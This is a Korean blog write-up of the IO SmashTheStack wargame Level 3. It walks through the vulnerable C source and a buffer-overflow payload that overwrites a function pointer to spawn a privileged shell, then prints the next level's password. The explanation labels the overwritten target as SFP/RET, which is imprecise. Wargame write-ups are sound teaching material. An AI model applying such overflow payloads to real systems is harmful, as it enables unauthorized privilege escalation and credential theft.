본문 바로가기
스터디/wargames

[USE-Wargames] IO SmashTheStack Level3 문제풀이

by 깝태 2011. 8. 12.

이번에는 Level3 을 풀어보도록 하겠습니다.

level3@io:~$ cd /levels
 
level3@io:/levels$ ./level03
Segmentation fault

프로그램을 실행하면 세그폴트가 뜹니다. 
 
level3@io:/levels$ ./level03 aa
Address of hmm: 0x804847f

level3@io:/levels$ ./level03 bb 
Address of hmm: 0x804847f

어떤값을 입력하든지 고정된 주소를 출력해줍니다.
이번에도 먼저 소스를 보고 필요하면 디버깅을 해보겠습니다.
 
level3@io:/levels$ cat level03.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int good(int addr) {
        printf("Address of hmm: %p\n", addr); // 주소 출력
}

int hmm() {
        printf("Win.\n");
        execl("/bin/sh", "sh", NULL); // 쉘 획득
}

extern char **environ; // 환경변수를 초기화 하기위한 작업

int main(int argc, char **argv) {

        int i, limit;

        for(i = 0; environ[i] != NULL; i++)
        memset(environ[i], 0x00, strlen(environ[i])); // 환경변수 초기화

        int (*fptr)(int) = good; // fptr 이라는 함수포인터 선언과 동시에 good 함수 시작주소로 초기화
        char buf[32];

        if(strlen(argv[1]) <= 40) limit = strlen(argv[1]); 
// argv[1] 의 길이가 40과 같거나 40보다 작을경우 limit 변수를 argv[1] 의 길이로 초기화

        for(i = 0; i <= limit; i++) { 
                buf[i] = argv[1][i]; // buf[i] 의 값을 argv[1][i] 로 초기;화
                if(i < 36) buf[i] = 0x41; // buf[0] ~ buf[35] 까지 0x41 로 초기화
        }
/*
여기서보면 buf 배열은 32바이트인데 36 개의 값을 0x41 로 초기화한다. 버퍼 오버플로우를
공부한이라면 이는 buf 배열을 넘어서 EBP, SFP 까지 덮어버리는것이다. 만약 36바이트 이후의 4바이트를 더 덮으면
우리는 RET 를 덮게되는것이다. 
*/

        int (*hmmptr)(int) = hmm; // hmmptr 함수포인터 선언과 동시에 hmm 함수 시작주소로 초기화

        (*fptr)((int)hmmptr); // fptr(good) 함수를 호출하며 인자로 hmmptr 함수 인자로 전달 - hmmptr 함수포인터(hmm) 주소 출력

        return 0;

}

앞서 말했듯이 argv[1] 로 4바이트를 입력하면 프로그램의 메모리에서 SFP 를 덮고, RET 까지 또 덮는것이다.
그러면 RET 를 어디로 덮어야할까? 바로 쉘을 띄워주는 hmm 으로 덮어야한다. 그런데 hmm 의 주소는 어떻게 알까?

 int (*hmmptr)(int) = hmm; 이 부분을 보면 hmm 의 시작주소로 hmmptr 에 전달해주고 있다.
 그리고 (*fptr)((int)hmmptr); 함수를 호출하며 인자로 hmmptr 의 주소를 넘겨주고있다, 즉 hmm 의 주소가 출력된다.

 즉, 프로그램이 시작되고 나오는 주소는 바로 hmm 함수의 주소이다.
 자, 이제 모든 추측이 끝났다. 바로 문제를 풀어보겠다

 level3@io:/levels$ ./level03 bb
Address of hmm: 0x804847f

level3@io:/levels$ ./level03 `python -c 'print "\x41"*36 + "\x7f\x84\x04\x08"'`
Win.
sh-4.1$ id
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1004(level4),1003(level3),1029(nosu)

sh-4.1$ cat /home/level4/.pass
1ZwMe9q1nDC9

성공적으로 문제를 풀었다.